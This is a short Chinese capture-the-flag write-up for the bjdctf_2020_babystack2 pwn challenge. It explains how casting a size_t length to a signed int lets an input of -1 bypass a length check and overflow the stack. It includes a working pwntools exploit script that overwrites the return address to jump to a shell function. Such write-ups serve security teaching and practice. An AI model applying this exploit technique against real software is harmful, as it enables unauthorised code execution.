此題考整型的有符號無符號的東西。。。
下載文件還是,先檢查一下保護。
64位程序,只開啟了堆棧不可執行,看一下ida的偽代碼。
大概流程就是先讓你輸入一個數,這個數就是后面read的可以輸入的長度,要想進行溢出,就必須有足夠的長度,但是有一個校驗,不讓這個數大於十,我們得想辦法繞過這個校驗,讓我們可以進行溢出。
看一眼nbytes的類型是size_t,從百度百科查了一下,大概是這么個意思。
大概就是一個無符號型整數,無符號型。。。but!!!你們仔細看看偽代碼的圖的if。
if ( (signed int)nbytes > 10 )
這里強制轉換將這個東西轉換成有符號的整數,關於整數溢出,大家可以看看這個博客,一看就懂了!
這么來說,假如我們輸入一個輸入進內存里面的是ffff,對於無符號型,那就是一個正數,但是變成有符號型整數,那么這個值就是-1,這樣就繞過了這個檢驗,溢出長度就可以很長了!!!
貼一下exp:
1 from pwn import * 2 3 p = process('./bjdctf_2020_babystack2') 4 #p = remote('node3.buuoj.cn',27265) 5 context.log_level = 'debug' 6 7 shell_addr = 0x0400726 8 p.recv() 9 p.sendline('-1') 10 p.recv() 11 payload = '\x39'*0x10 + 'bbbbbbbb' + p64(shell_addr) 12 p.send(payload) 13 p.interactive()